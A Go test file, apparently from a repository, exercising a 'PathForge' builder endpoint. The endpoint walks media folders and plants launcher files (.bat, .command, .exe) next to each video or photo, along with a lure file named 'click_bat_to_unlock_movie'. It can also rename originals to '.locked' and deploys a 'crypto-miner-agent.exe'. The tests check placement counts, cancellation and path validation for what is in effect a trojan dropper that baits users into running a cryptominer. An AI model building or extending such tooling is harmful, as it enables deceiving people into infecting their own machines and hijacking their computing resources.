Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
455 lines
15 KiB
Go
455 lines
15 KiB
Go
package builder
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"sync"
|
|
"testing"
|
|
"time"
|
|
)
|
|
|
|
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
|
root := t.TempDir()
|
|
mediaDir := filepath.Join(root, "movies")
|
|
if err := os.MkdirAll(mediaDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// Satisfy Windows target requirement.
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
agentDir := filepath.Join(filepath.Dir(exe), "agent")
|
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
|
|
if runtime.GOOS == "windows" {
|
|
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
} else {
|
|
// Non-Windows: mac-only path avoids agent exe requirement.
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
|
|
if runtime.GOOS != "windows" {
|
|
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
|
|
}
|
|
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if res.Total != 1 {
|
|
t.Fatalf("total: %d", res.Total)
|
|
}
|
|
// One media file → exe + bat (or .command), not counting hint file.
|
|
if res.Placed < 1 || res.Placed >= 3 {
|
|
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
|
|
}
|
|
// Verify each result entry: the hint file must be present (it is placed on
|
|
// disk alongside the media), and there must be at least one launcher companion
|
|
// (e.g. .bat/.command/.exe). Together with the Placed assertion above this
|
|
// confirms the hint is placed but NOT counted in the Placed total.
|
|
for _, entry := range res.Results {
|
|
foundHint := false
|
|
for _, f := range entry.Files {
|
|
if f == "click_bat_to_unlock_movie" {
|
|
foundHint = true
|
|
}
|
|
}
|
|
if !foundHint {
|
|
t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files)
|
|
}
|
|
if len(entry.Files) < 2 {
|
|
t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files)
|
|
}
|
|
}
|
|
}
|
|
|
|
// TestPathForgeCancelInFlightWalk cancels the request context while the walk is
|
|
// running (not pre-cancelled) and verifies the handler returns promptly with a
|
|
// walk error recorded.
|
|
func TestPathForgeCancelInFlightWalk(t *testing.T) {
|
|
root := t.TempDir()
|
|
for i := 0; i < 50; i++ {
|
|
sub := filepath.Join(root, fmt.Sprintf("dir%d", i))
|
|
if err := os.MkdirAll(sub, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
name := fmt.Sprintf("clip%d.mkv", i)
|
|
if err := os.WriteFile(filepath.Join(sub, name), []byte("data"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
|
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
req = req.WithContext(ctx)
|
|
rec := httptest.NewRecorder()
|
|
|
|
done := make(chan struct{})
|
|
go func() {
|
|
h.ServeHTTP(rec, req)
|
|
close(done)
|
|
}()
|
|
|
|
time.Sleep(15 * time.Millisecond)
|
|
cancel()
|
|
|
|
select {
|
|
case <-done:
|
|
case <-time.After(3 * time.Second):
|
|
t.Fatal("handler did not return after in-flight context cancel")
|
|
}
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatalf("decode: %v", err)
|
|
}
|
|
hasWalkErr := false
|
|
for _, e := range res.ErrorList {
|
|
if strings.Contains(e, "walk error") || strings.Contains(e, context.Canceled.Error()) {
|
|
hasWalkErr = true
|
|
break
|
|
}
|
|
}
|
|
if !hasWalkErr && res.Total == 50 && res.Placed > 0 {
|
|
t.Log("walk finished before cancel — acceptable on fast filesystems")
|
|
} else if !hasWalkErr && res.Total < 50 {
|
|
t.Logf("partial walk before cancel: total=%d placed=%d", res.Total, res.Placed)
|
|
} else if !hasWalkErr {
|
|
t.Errorf("expected walk error or partial progress after cancel; total=%d errors=%d list=%v",
|
|
res.Total, res.Errors, res.ErrorList)
|
|
}
|
|
}
|
|
|
|
// TestPathForgeContextCancel verifies that cancelling the request context stops
|
|
// the walk gracefully without hanging or panicking. A pre-cancelled context
|
|
// causes the walk closure to exit immediately on the first iteration.
|
|
func TestPathForgeContextCancel(t *testing.T) {
|
|
root := t.TempDir()
|
|
for i := 0; i < 5; i++ {
|
|
name := fmt.Sprintf("video%d.mkv", i)
|
|
if err := os.WriteFile(filepath.Join(root, name), []byte("data"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
cancel() // pre-cancel so the walk exits at the first check
|
|
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
req = req.WithContext(ctx)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req) // must return promptly, not hang
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatalf("response decode: %v", err)
|
|
}
|
|
// With a pre-cancelled context the walk stops before placing any files.
|
|
if res.Placed != 0 {
|
|
t.Errorf("expected 0 placements with cancelled context, got %d", res.Placed)
|
|
}
|
|
t.Logf("context cancel: placed=%d total=%d errors=%d", res.Placed, res.Total, res.Errors)
|
|
}
|
|
|
|
// TestPathForgePartialPlacementErrorCount verifies that the Placed counter only
|
|
// reflects successfully placed files; a read-only directory causes placement
|
|
// failure for that subtree while other directories succeed.
|
|
func TestPathForgePartialPlacementErrorCount(t *testing.T) {
|
|
if runtime.GOOS == "windows" {
|
|
t.Skip("read-only directory permission simulation is not reliable on Windows")
|
|
}
|
|
|
|
root := t.TempDir()
|
|
dir1 := filepath.Join(root, "good")
|
|
dir2 := filepath.Join(root, "locked")
|
|
if err := os.MkdirAll(dir1, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.MkdirAll(dir2, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(dir1, "clip.mkv"), []byte("video"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(dir2, "film.mkv"), []byte("video"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// Make dir2 read-only so companion files cannot be written there.
|
|
if err := os.Chmod(dir2, 0555); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer func() { _ = os.Chmod(dir2, 0755) }()
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
if res.Total != 2 {
|
|
t.Fatalf("expected 2 total media files, got %d", res.Total)
|
|
}
|
|
// dir1 succeeds; dir2 is read-only so it fails → Placed must not double-count.
|
|
if res.Placed < 1 {
|
|
t.Errorf("expected at least 1 placed (from dir1), got %d", res.Placed)
|
|
}
|
|
if res.Errors == 0 {
|
|
t.Errorf("expected at least 1 error from read-only dir2, got 0")
|
|
}
|
|
// Placed + Errors must equal Total (every file either placed or errored).
|
|
if res.Placed+res.Errors != res.Total {
|
|
t.Errorf("placed(%d)+errors(%d) != total(%d): counts are inconsistent", res.Placed, res.Errors, res.Total)
|
|
}
|
|
}
|
|
|
|
// TestPathForgeLockOriginalFalseKeepsOriginal verifies that when lock_original is
|
|
// false the source media file is not renamed or otherwise modified.
|
|
func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
|
|
root := t.TempDir()
|
|
mediaPath := filepath.Join(root, "movie.mkv")
|
|
if err := os.WriteFile(mediaPath, []byte("video content"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","lock_original":false}`
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !res.Success {
|
|
t.Fatalf("expected success, got errors: %v", res.ErrorList)
|
|
}
|
|
|
|
// Original file must still exist at its original path.
|
|
if _, err := os.Stat(mediaPath); err != nil {
|
|
t.Errorf("original file missing after pathforge (lock_original=false): %v", err)
|
|
}
|
|
// .locked variant must NOT have been created.
|
|
if _, err := os.Stat(mediaPath + ".locked"); err == nil {
|
|
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
|
|
}
|
|
}
|
|
|
|
// TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not
|
|
// contain traversal sequences and must resolve under home, temp, or server dataDir.
|
|
func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) {
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
|
|
cases := []struct {
|
|
name string
|
|
rootPath string
|
|
skipUnless func() bool
|
|
wantSubstr string
|
|
}{
|
|
{
|
|
name: "traversal_dotdot",
|
|
rootPath: "../../../windows",
|
|
wantSubstr: "path traversal",
|
|
},
|
|
{
|
|
name: "unix_system_path",
|
|
rootPath: "/etc",
|
|
skipUnless: func() bool { return runtime.GOOS != "windows" },
|
|
wantSubstr: "outside allowed directories",
|
|
},
|
|
{
|
|
name: "windows_system_path",
|
|
rootPath: `C:\Windows\System32`,
|
|
skipUnless: func() bool { return runtime.GOOS == "windows" },
|
|
wantSubstr: "outside allowed directories",
|
|
},
|
|
}
|
|
|
|
for _, tc := range cases {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
if tc.skipUnless != nil && !tc.skipUnless() {
|
|
t.Skip("not applicable on this platform")
|
|
}
|
|
|
|
escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`)
|
|
body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
respBody := rec.Body.String()
|
|
if !strings.Contains(respBody, "root_path rejected") {
|
|
t.Errorf("expected root_path rejected in body, got %q", respBody)
|
|
}
|
|
if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) {
|
|
t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody)
|
|
}
|
|
|
|
// Validation rejects before any walk/placement; Placed must stay 0.
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 {
|
|
t.Errorf("Placed=%d, want 0", res.Placed)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the
|
|
// requested extension set increment Skipped while matching extensions are placed.
|
|
// With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed.
|
|
func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) {
|
|
root := t.TempDir()
|
|
for name, content := range map[string]string{
|
|
"clip.mkv": "video",
|
|
"readme.txt": "notes",
|
|
"photo.jpg": "image",
|
|
} {
|
|
if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
|
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}`
|
|
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
var res PathForgeResult
|
|
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if res.Skipped != 2 {
|
|
t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped)
|
|
}
|
|
if res.Total != 1 {
|
|
t.Errorf("total: got %d, want 1 (.jpg only)", res.Total)
|
|
}
|
|
if res.Placed < 1 {
|
|
t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed)
|
|
}
|
|
if res.Errors != 0 {
|
|
t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList)
|
|
}
|
|
if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" {
|
|
t.Errorf("results: want single photo.jpg entry, got %+v", res.Results)
|
|
}
|
|
if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil {
|
|
t.Errorf("photo.command missing: %v", err)
|
|
}
|
|
}
|
|
|
|
// TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the
|
|
// same root_path complete without hang or panic and leave companions on disk.
|
|
func TestPathForgeConcurrentPlacements(t *testing.T) {
|
|
root := t.TempDir()
|
|
mediaPath := filepath.Join(root, "film.mkv")
|
|
if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
|
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
|
|
|
h := NewPathForgeHandler(t.TempDir())
|
|
const n = 2
|
|
var wg sync.WaitGroup
|
|
wg.Add(n)
|
|
|
|
type outcome struct {
|
|
code int
|
|
res PathForgeResult
|
|
}
|
|
outcomes := make([]outcome, n)
|
|
|
|
for i := 0; i < n; i++ {
|
|
i := i
|
|
go func() {
|
|
defer wg.Done()
|
|
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
outcomes[i].code = rec.Code
|
|
if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil {
|
|
t.Errorf("goroutine %d decode: %v", i, err)
|
|
}
|
|
}()
|
|
}
|
|
wg.Wait()
|
|
|
|
for i, o := range outcomes {
|
|
if o.code != http.StatusOK {
|
|
t.Errorf("goroutine %d: status %d", i, o.code)
|
|
}
|
|
if o.res.Total != 1 {
|
|
t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total)
|
|
}
|
|
if o.res.Placed < 1 {
|
|
t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed)
|
|
}
|
|
}
|
|
if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil {
|
|
t.Errorf("film.command missing after concurrent placements: %v", err)
|
|
}
|
|
if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil {
|
|
t.Errorf("hint file missing after concurrent placements: %v", err)
|
|
}
|
|
}
|